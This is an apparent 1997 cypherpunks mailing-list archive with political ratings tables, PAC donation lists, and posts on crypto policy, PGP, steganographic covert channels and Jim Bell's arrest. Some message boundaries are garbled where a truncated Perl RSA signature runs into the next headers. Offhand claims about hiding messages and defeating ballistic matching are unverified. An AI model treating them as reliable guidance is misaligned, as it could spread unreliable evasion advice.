Conservative    1995-1996  74 Conservative
Index                           
Conservative    1996       95 American Conservative
Union                  
Consumers       1996       43 Consumer Federation of
America               
Contractors     1995      100 Associated Builders &
Contractors            
Crime           1995-1996   0 Citizens United for Rehabilition of
Errants  
Defense/Foreign 1991       15 Professional's Coalition for Nuclear Arms
Con
Defense/Foreign 1991       40 JustLife Education Fund (Arms
Reduction)     
Defense/Foreign 1993-1994 100 American Security
Council                    
Defense/Foreign 1995       17 Peace
Action                                 
Defense/Foreign 1995       30 Campaign for U.N.
Reform                     
Defense/Foreign 1996        9 Council for a Livable
World                  
Economic Policy 1991       40 JustLife Education Fund (Economic
Policy)    
Economic Policy 1994       90 Competitive Enterprise Institute
(Totals)    
Economic Policy 1995       90 The Libertarian Party - Economic
Freedom     
Economic Policy 1996       87 The Republican Liberty
Caucus                
Education       1993-1994   9 American Federation of
Teachers              
Education       1995        0 National Education
Association               
Education       1995-1996   0 U.S. Student
Association                     
Env./consumer   1995-1996  11 U.S. Public Interest Research
Group          
Environment     1994       78 Competitive Enterprise Institute
(Environment
Environment     1995-1996  11 League of Conservation
Voters                
Environment     1995-1996  75 Fund For
Animals                             
Farm            1991-1992  20 National Farmers
Organization                
Farm            1993       56 National Farmers
Union                       
Farm            1993-1994  89 American Farm Bureau
Federation              
Farm            1994      100 Competitive Enterprise Institute
(Agriculture
Gun Issues      1993-1994   0 Handgun Control,
Inc                         
Gun Issues      1993-1994 100 National Rifle
Association                   
Health          1995-1996  41 AIDS Action
Council                          
Health          1996        7 American Public Health
Association           
Immigration     1996       15 American Immigration
Control                 
Immigration     1996       25 Federation for American Immigration
Reform-Se
Labor           1989        0 Machinists Non-Partisan Political
League     
Labor           1989-1990  50 National Federation of Federal
Employees     
Labor           1991       40 American Postal Workers
Union                
Labor           1994        0 United Food & Commercial
Workers             
Labor           1995        0 United Auto
Workers                          
Labor           1995        8
AFL-CIO                                      
Labor           1995       12 Communications Workers of
America            
Labor           1995       12 The
Teamsters                                
Labor           1995       30 Transportation Communications
Union          
Labor           1996        0 American Federation of State, County &
Munici
Labor           1996        5 American Federation of Government
Employees  
Liberal         1995-1996   5 National Committee for an Effective
Congress 
Liberal         1995-1996  38 Public Citizen's Congress
Watch              
Liberal         1996        0 Americans for Democratic
Action              
Libertarian     1995       70 The Libertarian Party - Combined
Score       
Populist        1995       20 Liberty
Lobby                                
Poverty         1996       14 Bread for the
World                          
Property        1995-1996 100 League of Private Property
Voters            
Regulation      1994      100 Competitive Enterprise Institute
(Deregulatio
Seniors         1995        0 National Council of Senior
Citizens          
Seniors         1995-1996  20 National Association of Retired Federal
Emplo
Seniors         1995-1996  29 National Committee to Preserve Social
Securit
Seniors         1995-1996  94 The 60 Plus
Association                      
Social Policy   1991       40 National Association of Social
Workers       
Social Policy   1995        7
Network                                      
Social Policy   1995       50 The Libertarian Party - Personal
Freedom     
Social Policy   1995-1996   8 Friends Comm. on Nat'l Leg.
(Senate)         
Social Policy   1996        0 Zero Population
Growth                       
Social Policy   1996       62 The Republican Liberty
Caucus                
Taxes/Spending  1991-1992 100 National Tax-Limitation
Committee            
Taxes/Spending  1994       85 Competitive Enterprise Institute
(Spending)  
Taxes/Spending  1994      100 Competitive Enterprise Institute
(Budget)    
Taxes/Spending  1994      100 Competitive Enterprise Institute
(Taxes)     
Taxes/Spending  1995       48 Concord
Coalition                            
Taxes/Spending  1995       88 National Taxpayers
Union                     
Taxes/Spending  1995       89 Citizens Against Government
Waste            
Trade           1994      100 Competitive Enterprise Institute
(Trade)     
Veterans        1989-1990  50 Vietnam Veterans of
America                  
Women           1989-1990   5 National Women's Political
Caucus            
Women           1993       20 The Woman Activist
(Senate)                  
Women           1995-1996   0 American Association of University
Women     
Women           1995-1996  75 Concerned Women for
America






From geeman at best.com  Sun Jun 22 11:43:45 1997
From: geeman at best.com (geeman)
Date: Mon, 23 Jun 1997 02:43:45 +0800
Subject: Ownership of McCain
Message-ID: <33AD6F72.6D27@best.com>



It was suggested that I look a little at McCain, so here is a dribble; 
I think it's instructive to see the following PAC's on McCains feedlist.

Anyone who thinks that these Co.'s won't profit tremendously in the
deployment of a
Federally-designed and mandated PKI is taking the wrong drugs .....
(note: obviously these figures are meaningless in terms of actual $$$
amounts. They
only serve to indicate that real soft money is flowing from the same
source.)


   4,000  05/03/95  AIRCRAFT OWNERS AND PILOTS ASSOCIATION POLITICAL
ACTION COMMITTEE                         
     2,500  02/14/95  ALLIED PILOTS ASSOCIATION POLITICAL ACTION
COMMITTEE (AKA) APA PAC                        
     2,500  11/17/95  ALLIED PILOTS ASSOCIATION POLITICAL ACTION
COMMITTEE (AKA) APA PAC                        
     1,000  02/27/95  AMERICAN AIRLINES POLITICAL ACTION
COMMITTEE                                              
       100  03/29/95  AMERICAN SUPPLY ASSOCIATION
PAC                                                           
       500  02/02/95  BDM INTERNATIONAL, INC. POLITICAL ACTION COMMITTEE
(BDM-PAC)                              
       500  03/01/95  BP AMERICA
PAC                                                                            
>>>>     1,000  02/06/95  CIVIC ACTION FUND - LORAL SYSTEMS GROUP (FKA GOODYEAR AEROSPACE CORP PAC)                 
     2,000  05/11/95  FEDERAL EXPRESS CORPORATION POLITICAL ACTION
COMMITTEE "FEPAC"                            
     1,000  09/18/95  FEDERAL EXPRESS CORPORATION POLITICAL ACTION
COMMITTEE "FEPAC"                            
     3,000  09/18/95  FEDERAL EXPRESS CORPORATION POLITICAL ACTION
COMMITTEE "FEPAC"                            
>>>>     1,000  01/16/95  MARTIN MARIETTA CORPORATION POLITICAL ACTION COMMITTEE                                    
>>>>     1,000  03/13/95  MARTIN MARIETTA CORPORATION POLITICAL ACTION COMMITTEE                                    
>>>>     1,000  02/17/95  MCDONNELL DOUGLAS EMPLOYEES' POLITICAL ACTION COMMITTEE                                   
     1,000  08/17/95  PMAA/SMALL BUSINESS
COMMITTEE                                                             
     1,000  02/10/95  PODIATRY POLITICAL ACTION
COMMITTEE                                                       
>>>>     1,000  03/11/95  RAYTHEON COMPANY POLITICAL ACTION COMMITTEE                                               
     1,000  02/22/95  SVGGS
FUND                                                                                
     1,000  03/14/95  TALLEY INDUSTRIES, INC, POLITICAL ACTION COMMITTEE
(TALLEY-PAC)                           
     1,000  02/23/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
       100  03/14/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
     3,550  03/14/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
       350  03/14/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
 
    31,100






From nobody at huge.cajones.com  Sun Jun 22 12:39:48 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 23 Jun 1997 03:39:48 +0800
Subject: Assault on Pornography
Message-ID: <199706221921.MAA15421@fat.doobie.com>



  Since the U.S. legislature is so concerned about child pornography
and the government is interested in promoting world-wide enforcement
of laws meant to fight evil, I was wondering about the following
scenario:
  Manuel Noriega sends pictures on the internet to Iraq of women with
their ankles showing and their heads uncovered. Iraq sends an armed
force to the U.S. to capture Noriega and take him to Iraq for trial.
  Sure, a few thousand U.S. troops and citizens might die, but it is
for the greater good, right?

Scenario Two:
  Bill Clinton sends a picture on the internet to Iraq of Hillary, with
her ankles showing and her head uncovered...

TruthMonger







From jya at pipeline.com  Sun Jun 22 12:40:11 1997
From: jya at pipeline.com (John Young)
Date: Mon, 23 Jun 1997 03:40:11 +0800
Subject: McCain's War for Security
Message-ID: <1.5.4.32.19970622192626.006d1514@pop.pipeline.com>



The New York Times Magazine had a feature story on 
Senator McCain a week or two ago which covered in
detail his personal, military and political history and his
heroic struggle to meet the high standards set by his 
admiral father, the Navy and individual ethics. 

His long imprisonment by the North Vietnamese due to 
a refusal to be released as the well-known son of a 
prominent admiral was cited as an example of his 
duty to to put national interests above his own.

This iconic treatment of a national hero is worth pondering
for the way it reveals what Tim calls "the fix is in."

The imposition of protective measures often occurs through
those with impeccable credentials, especially by appealing to 
the ones who believe that their special role is to rise above ordinary 
struggles and dispense exceptional wisdom, fairness and
justice.

The question on McCain is: has he been sold on the threat to 
national security of cryptography by appealing to his deep 
patriotism, his belief in a special duty to protect the nation, to 
fight its "war" with the day's enemies.

Such feeding of grandiloquence is historical practice of the
Richlieus running the government, raiding the till, commanding 
the academies, distributing authorizations to placate antsy 
kings-in-queue.

The cariacature of this are "banana republics" where
military and political saviors justify coups in the name
of the "public interest," or "the people," fairly well in accord
with threats to authority.

Military, naval and governmental academies worldwide teach this
belief in the special duty of public servants, notwithstanding the
evidence that some graduates reap the not-so-public rewards.

As amply displayed in S.936, the National Defense Authorization
Act for FY 1998, the perennial US banana republic raid on
the till. 

Read it to see who McCain thinks are the nation's enemies and 
protectors and who are the supreme judges of both.

What's not as well publicized about leadership academies of all
kinds is that they also teach (and practice) the Machiavellian wisdom 
of most stringent laws and harshest enforcement for challenges to 
the authority to govern, to tax, to command, to rule. To assure 
"national security" for those who thrive on it.







From whgiii at amaranth.com  Sun Jun 22 13:03:46 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 23 Jun 1997 04:03:46 +0800
Subject: Assault on Pornography
In-Reply-To: <199706221921.MAA15421@fat.doobie.com>
Message-ID: <199706221953.OAA08333@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706221921.MAA15421 at fat.doobie.com>, on 06/22/97 
   at 12:21 PM, nobody at huge.cajones.com (Huge Cajones Remailer) said:

>Scenario Two:
>  Bill Clinton sends a picture on the internet to Iraq of Hillary, with
>her ankles showing and her head uncovered...

I believe that he could be extradited under international treaties against
torture. :) -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM62Dm49Co1n+aLhhAQH49QQAi1M4KgbUecMvd1+mkW3R1xddC/tmGGPy
+Jt0aHJneFXz+0JBSVZvSXafGaSplBtnwTYX45as91QWeZ0Jt7uO36kxYuBAKnUs
RdWl//8chY094zWRDAaZDJ1hRjHQkoydBi54InBoHbtKm5OmfBrEn1u0sGRRVnU3
a4verOz7ROM=
=j3JG
-----END PGP SIGNATURE-----






From alan at ctrl-alt-del.com  Sun Jun 22 13:06:10 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Mon, 23 Jun 1997 04:06:10 +0800
Subject: Dirty hands kill more people (80K/yr) than guns (FWD)
Message-ID: <3.0.2.32.19970622125957.03d22100@mail.teleport.com>



This needed to be shared...

Expect government hand escrow any day now.

From: aib at col.hp.com (Allan Best)
Newsgroups:
alt.politics.clinton,alt.politics.democrats.d,alt.politics.usa.republican,al
t.rush-limbaugh,alt.fan.rush-limbaugh,alt.politics.libertarian,talk.politics
.libertarian,talk.politics.misc,talk.politics.guns,alt.law-enforcement
Subject: Re: Dirty hands kill more people (80K/yr) than guns
Date: 17 Jun 1997 20:18:00 GMT
Organization: HP Colorado Springs Division

ec Roberts (armed_and_safe at technologist.com) wrote:
: On Mon, 16 Jun 1997 14:00:03 +0900, Jason Gottlieb
:  wrote:

: {snip}
: >The #1 murder weapon is a hand with a handgun in it.
: >
: The #1 murder weapon is a hand. This is so,
: regardless of the tool in that hand.
: Bob

The obvious solution is to register all hands. Hands must be kept away from
children. To protect children, a hand shall not be transported to within 1000 
yards of any school, playground or daycare facility. All concealed carry
hands 
must be registered. Concealed carry is banned in all government facilities, 
especially US Post Offices, and all public buildings including, but not
limited 
to airports, bus stations, train depots and taxi stands.

Furthermore, there shall be a 15-day waiting period and a background check 
before the purchase of any legal hand can be completed. Anyone caught with an
unregistered hand shall have that hand immediately confiscated and be liable
to a fine and/or imprisonment. 

The ownership of fully-automatic hands, assault hands, ugly hands, or
cop-killer
gloves is expressly forbidden.



: >
: >-- 
: >Jason Gottlieb
: >Homepage goodies: Japanese SDF info, USA
: > gun control info, travellogues, and more!
: >http://www.asahi-net.or.jp/~zj5j-gttl

: **** Armed and Safe(tm) ****
: **** www.ivic.net/~ecr  ****

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From rah at shipwright.com  Sun Jun 22 13:15:56 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 23 Jun 1997 04:15:56 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: <3.0.32.19691231160000.006c4dd0@best.com>
Message-ID: 



At 1:34 pm -0400 on 6/22/97, geeman at best.com wrote:


> What's necessary here is a knowledgeable application of the same
> techniques, a coalition
> organization comprised of large business interests with an awareness of how
> Bad this all is,
> competing on the same turf.
>
> Noble anarchist or Constitutional arguments, whining about our Rights and
> such, are
> insignificant and irrelevant to the players.
>
> Who will belly up to the bar and provide leadership on terms that will
> truly be effective?


You rang? (He said, feeling particularly ambitious on a rainy June afternoon)

You don't need an organization, a simple angry swarm of the right players
is just fine, preferrably large commercial ones.

You just need to tell them that S909 will kill the commercial internet, and
all the billions that have been invested in it.


The big stick to smack the hive with, the argument to present to those
people who have the most to lose, is the following, if I may quote myself
from several places this week :-):

>  Said syllogistically,
>
>  Digital Commerce *is* Financial Cryptography,
>  Financial Cryptography *is* Strong Cryptography,
>  therefore,
>  Digital Commerce *is* Strong Cryptography.
>  and, therefore,
>  No Strong Cryptography, no Digital Commerce.
>
>
>  Instructions for the use of this syllogism:
>
>    Invite 'em to a presentation.
>
>    Use one proposition per slide, with nothing on the slide but the
>    proposition, centered vertically and horizontally. Don't make handouts.
>
>    Put up the first slide, and defend the proposition.
>    Repeat until last slide.
>
>    Ask for questions.

I will deliver the above talk to anyone who pays my travel expenses and can
get butts in the seats to hear it. The "right" butts or no, you never know
who knows somebody else.

You buy, I fly. If anyone *else* wants to make the above presentation, and
save the air and hotel bill, feel free. Practically *anyone* on this list
knows how to more than adequately defend each of those propositions against
all comers, foreign and domestic. :-).


Now, then. When do we get started?

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From rah at shipwright.com  Sun Jun 22 13:16:58 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 23 Jun 1997 04:16:58 +0800
Subject: Canarypunk: Jim Bell in a coalmine
In-Reply-To: 
Message-ID: 



At 1:07 pm -0400 on 6/22/97, Tim May wrote on cypherpunks:

> "Something _wonderful_ is about to happen."
>
> "I have a solution."
>
>
> --Tim "Channeling Bell" May

Speaking of the dead, or at least the departed...

Has anybody local to Jim Bell's stir gone to visit our incarcerated, um,
gaming enthusiast, lately, just to see if he needs anything? Oh. Besides
*that* of course. :-).

Is Bell *taking* visitors yet? Would anyone in Oregon *want* to go visit
Bell, reprehensible opinions and all, if he was accepting visitors?


The reason I ask is, given events of the past few days, it may be time to
start standing up for our friends, no matter how unsavory their ideas.
Slippery slopes, and all that. I'm beginning to think of this as the
net.equivalent of neighborhood "policing", if you will, where the slightest
infraction against freedom by the federal law "enforcement" "community" is
met with the most determined (legal!) resistance possible. Maybe something
like Helsinki Watch, or, god forbid, Amnesty International.

Arresting Jim Bell and holding him with what seems to be an unreasonable
bail (that is, he can't afford to pay it) by a small army of nomex-hooded
kluxer-equivalents is the police-state version of drinking on a
streetcorner. "Patting down" the officials responsible, legally and
politically, might yield the functional equivalent of a concealed weapons
violation. That, in turn, would tell people who are wont to surround
people's houses with black nomex ninja-wannabes to think twice about
ordering such shenanigans in the future.

Tim was talking earlier here about how this kind of accountability should
have been held, more stringently, for the people who burned children in
Waco, and who shot them at Ruby Ridge. Maybe it's time to hold people who
commit capital crimes on the state's behalf to understand that the legal
sword cuts both ways. If so, I think the best way to start this is to do it
in manageable increments, and ratchet up the pressure from there. To have
zero tolerence for even the smallest offenses, starting with the jailing of
Mr. Bell.

That's because Bell is, however rediculous the offense or his behavior the
first cypherpunk political prisoner. He's ours, folks, like it or not. It's
time we faced it, and dealt with the problem accordingly.


To my mind, turnabout is in fact fair play. If you start busting the
constitutional public drinkers, like the interagency Boy's State delegation
who hauled Jim off, maybe the rest of the erst-fascists out there in
Uncle's employ will keep their nomex pyjamas in the closet, only taking
their costumes out for the occasional midnight constitution-burning
ceremony, instead of coming next for someone with more substantial freedoms
to defend.

And, frankly, if rejectionism is called for, now or later, we will know
that much sooner based on how well efforts like springing our canary in
that Oregon coal mine fares...

Admittedly, this is a distraction from the most important thing, which is
writing code, but I bet that there are in fact cypherpunks-who-don't-code
in Bell's neighborhood, and not necessarily even Friends of Jim, who would
be happy to personally go see how Bell is doing and come back and tell us
what happened. Think of it as part of the feedback loop for net.freedom. A
trip into the coal mine with a canary cage.

Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
there want to do this?

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From aba at dcs.ex.ac.uk  Sun Jun 22 13:51:38 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Mon, 23 Jun 1997 04:51:38 +0800
Subject: Laying PipeNet
In-Reply-To: 
Message-ID: <199706222045.VAA00836@server.test.net>




Tim May  writes:
> At 3:02 AM -0700 22/6/97, Adam Back wrote:
> >Text stego is hard to do.  At ultra low encoding rates (say a few bits
> >per email), it would be ok.  (Just message parity, perhaps the entropy
> >in the message-id, posting time).
> 
> Pointers can be useful. A small number of stego bits in a message of this
> length could be used to tell a recipient where to look for a longer
> message. Thus, this message could contain instructions to "Look at the
> image "cindy-fake17.gif" in "alt.binaries.erotica.cindy-crawford" for
> instructions about the Cabal meeting."

Provides some plausible deniability, more than posting random numbers.

> If the images are recyclings of older images, as most images in
> these porn groups are, then there is the problem that images may be
> diffed (compared) and the LSBs detected to be different. Fixes for
> this either include deliberate (and stated) "enhancement" in
> Photoshop, which is also fairly common, or scanning of some of those
> old Penthouse mags laying around! :-)

That's the major problem with images, you need to generate your own.
Unless you fancy writing an image enhancement system, and analyse the
algorithms in existing systems to ensure that randomness is
introduced.

Another idea, there's a golf-ball cam on top of my monitor, how many
list members have played with CU-SeeMe?  (You'd get to see my 2 year
old son playing with his toy tractor on the desk, making it difficult
to type, keeps pulling my hands off keyboard).

Does any of the CU-SeeMe stuff come with source code?  Cons: at 28.8k
modem speed, the image frame rate is poor, but worse the audio is near
unusable, also limited to 8 conference participants.

Or how about enhanced IRC with VR chat rooms?  You could get lower
bandwidth IRC stylised computer generated VR than you could video
stream.  I'm sure you could come up with some subliminal channels in
that (computer generated images, simulated moniker movements), and
you'd just need to chat on #cypherpunks for a while, and your posts
would be sent.  Quite plausible for cypherpunks to stop off at
#cypherpunks and reminisce about the days before non-gakked crypto was
outlawed.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199706221823.TAA00771@server.test.net>




Tim May  writes:
> At 2:38 AM -0700 6/22/97, Adam Back wrote:
> >So... how about a code writing challenge, an award for the best
> >cypherpunk project every month.  (No monetary prize, just vote on list
> >to decide most significant project).
> >
> >Perhaps a list of how many lines of code.  A hall of fame if you like:
> >
> >% wc -l `find . -name \*.h -print -o -name \*.c -print`
> >
> >Eric Young		SSL-eay		101,721 lines
> >PGP Inc			pgp30		    (?) lines
> >Phil Zimmermann & co	pgp263		 34,891 lines
> ....
> 
> Not to be tedious about this, but why would "lines of code" be an
> interesting metric?
>
> I'm reminded of a cartoon showing a Russian factory winning the "greatest
> tonnage of screws produced," with a crane lifting a massive, 100 meter long
> screw above the factory. The dangers of the wrong metric.
> 
> I think we need a few major innovations more than some number of
> lines of code.

Well, personally I'm not that bothered about line counts (good code
tends to be smaller than sprawling badly written redundant stuff,
anyhow).  But what I am bothered about is that not that much in the
way of cypherpunks apps are getting written, and that PGP Inc, aren't
going to write them for us, because they won't sell to fortune 100
mega-corps.

> (No, I'm not a programmer. But I've done a few "hacks" which were
> interesting and useful, I think. Taking readily available stuff, "BlackNet"
> made the concrete point that data havens and anonymous markets already are
> possible. Number of lines of code written: zero. The task is to combine
> some of the existing tools into new things. Raw lines of code is not
> necessarily useful.)

Indeed.  I was going to include a line count of your cyphernomicon,
but I appear to have mislaid my gzipped copy.

The part about a cypherpunks award for most significant project of the
month was the meat of the post.  I speculate that a web page with
tabulated wish lists (from list discussion), where these are ticked
off as done, etc might be some encouragement.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <3.0.2.32.19970622141801.0076582c@popd.ix.netcom.com>



>>Perhaps a list of how many lines of code.  A hall of fame if you like:
>>% wc -l `find . -name \*.h -print -o -name \*.c -print`
>>Eric Young		SSL-eay		101,721 lines
>>PGP Inc			pgp30		    (?) lines
>>Phil Zimmermann & co	pgp263		 34,891 lines

>Not to be tedious about this, but why would "lines of code" be an
>interesting metric?

Yeah - I was thinking of the following entries:
  Adam Back             RSAperl		4 lines
  Adam Back et al.	RSAperl		2 lines

I don't think anybody's made a T-Shirt with SSLeay on it yet :-)

(Though actually SSLeay has been very useful to a lot of the
world's free cryptography, and has prompted the US spooks 
to pressure the Australian spooks into restricting crypto exports,
just as they've pressured the NZs into restricting them for
Peter Gutman, and have been trying to work on the Irish...)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Sun Jun 22 14:28:41 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 23 Jun 1997 05:28:41 +0800
Subject: Dirty hands kill more people (80K/yr) than guns (FWD)
In-Reply-To: <3.0.2.32.19970622125957.03d22100@mail.teleport.com>
Message-ID: <3.0.2.32.19970622141408.0075c400@popd.ix.netcom.com>



At 12:59 PM 6/22/97 -0700, Alan Olsen wrote:
>Expect government hand escrow any day now.

You're rather behind the times - we already have hand registration
in many places.  In particular, California wants your thumbprint,
assuming you want to drive.  (A couple decades ago, my father-in-law
annoyed the Hawaii driver's license bureaucrats by insisting they
follow the law.  The law required either an SSN or a thumbprint,
but the clerks in fact wanted the SSN because it's much less work,
and (not that they cared personally) more useful for databases.
He gave them the thumbprint.  This was before the states were allowed
to make it mandatory to provide SSNs; CA wants both now, of course.)

Also, there's an obvious extension to gun registration,
which is the requirement to provide several bullets shot
with each of your guns, so they can do ballistics checks later.
Obviously it won't stop unregistered gun trading,
and isn't much use for shotguns, but it's a start.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Sun Jun 22 14:34:56 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 23 Jun 1997 05:34:56 +0800
Subject: why no more RSA keys? (was Re: how to `go underground')
In-Reply-To: <199706221457.JAA05804@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970622142746.0076582c@popd.ix.netcom.com>



At 05:42 PM 6/22/97 +0100, Adam Back wrote:
>I was really quite unclear as to why the freeware one should have
>reduced functionality, and as we are finally going to get source code,
>I figured it'd be easy to rememdy this deficiency.
>
>Still, I am curious as to why this might be.
>
>One guesses it might have something to do with PGP's financial
>interest to move the internet user base away from RSA keys towards El
>Gamal/DSS key pairs, so that they can remove RSA backwards
>compatibility from the commercial versions, if it comes to that.
>(Re. patent and licesning hassles from the litigious legal-beagles at
>RSA).  Perhaps.

Getting out from under the patent restrictions is a big win,
purely aside from the details of any hassles with RSA Inc.
Also, because MD5 is looking shaky these days, they do need to
move people toward versions with SHA1 signatures.
Since the commercial versions do EG/DSS, and people will be
sending messages signed with DSS, and wanting to receive
mail encrypted with EG, it's worthwhile for them
to push people to migrate to the new formats;
the freeware version is an obvious lever, even though I'm sure
there will be fixes to add RSA key generation back in Real Soon.
(Also, you don't _need_ a fix - just keep the old PGP around,
and use it when you want to generate a key.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From rah at shipwright.com  Sun Jun 22 15:13:44 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 23 Jun 1997 06:13:44 +0800
Subject: Dirty hands kill more people (80K/yr) than guns (FWD)
In-Reply-To: <3.0.2.32.19970622125957.03d22100@mail.teleport.com>
Message-ID: 



At 5:14 pm -0400 on 6/22/97, Bill Stewart wrote:


> Also, there's an obvious extension to gun registration,
> which is the requirement to provide several bullets shot
> with each of your guns, so they can do ballistics checks later.

It's my understanding that this is half next to useless because all you
have to do is go out and fire a few thousand (hundred?) rounds and the
ballistics change...

Since the first thing you should do after you get a gun is fire a few
thousand rounds through it, anyway, no problem, right?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From nobody at REPLAY.COM  Sun Jun 22 15:27:47 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 23 Jun 1997 06:27:47 +0800
Subject: Hettinga's e$yllogism
Message-ID: <199706222220.AAA26096@basement.replay.com>



>  Digital Commerce *is* Financial Cryptography,
>  Financial Cryptography *is* Strong Cryptography,
>  therefore,
>  Digital Commerce *is* Strong Cryptography.
>  and, therefore,
>  No Strong Cryptography, no Digital Commerce.

Why can't escrowed ecash support digital commerce?  Strong crypto with
a government backdoor.  That's what you're offered.  Prove it can't work.

Anon






From whgiii at amaranth.com  Sun Jun 22 16:04:24 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 23 Jun 1997 07:04:24 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: <199706222220.AAA26096@basement.replay.com>
Message-ID: <199706222256.RAA10176@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706222220.AAA26096 at basement.replay.com>, on 06/23/97 
   at 12:20 AM, nobody at REPLAY.COM (Anonymous) said:

>>  Digital Commerce *is* Financial Cryptography,
>>  Financial Cryptography *is* Strong Cryptography,
>>  therefore,
>>  Digital Commerce *is* Strong Cryptography.
>>  and, therefore,
>>  No Strong Cryptography, no Digital Commerce.

>Why can't escrowed ecash support digital commerce?  Strong crypto with a
>government backdoor.  That's what you're offered.  Prove it can't work.

Because no one with any sence is going to trust their finacial
transactions to third party access and minipulation.

Just think of that postal worker that threw away the mail because he was
too lazy to deliver it or the clerk at the DMV that makes you wait for
hours on end just to renew you DL. Do you really trust these people with
access to your $$$$?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM62uoo9Co1n+aLhhAQGy+QP/SaMnJNDAWQMyudJAi1sI8HEwGTDGooNo
1vtQikZSqIqDLV/69CG/Exgj6ouWrBcqL5HvRX6UrG5qItzREbhYRuO9DOds6U4n
yBiY54KZULLXtXPTLcehK8hOgErOcwIccNy7AHS/qsI7urVzn6sBiXPWmv+UoCR+
2qzaY1fumXU=
=Y1SO
-----END PGP SIGNATURE-----






From aba at dcs.ex.ac.uk  Sun Jun 22 16:10:25 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Mon, 23 Jun 1997 07:10:25 +0800
Subject: spook pressure on crypto exports (was Re: cypherpunks coding challenge)
In-Reply-To: <3.0.2.32.19970622141801.0076582c@popd.ix.netcom.com>
Message-ID: <199706222306.AAA01385@server.test.net>




(cc'd to a couple of people who's name is mentioned in second half)

Bill Stewart  writes:
> Tim May  writes:
> >Not to be tedious about this, but why would "lines of code" be an
> >interesting metric?
> 
> Yeah - I was thinking of the following entries:
>   Adam Back           RSAperl		4 lines
>   Adam Back et al.	RSAperl		2 lines
> 
> I don't think anybody's made a T-Shirt with SSLeay on it yet :-)
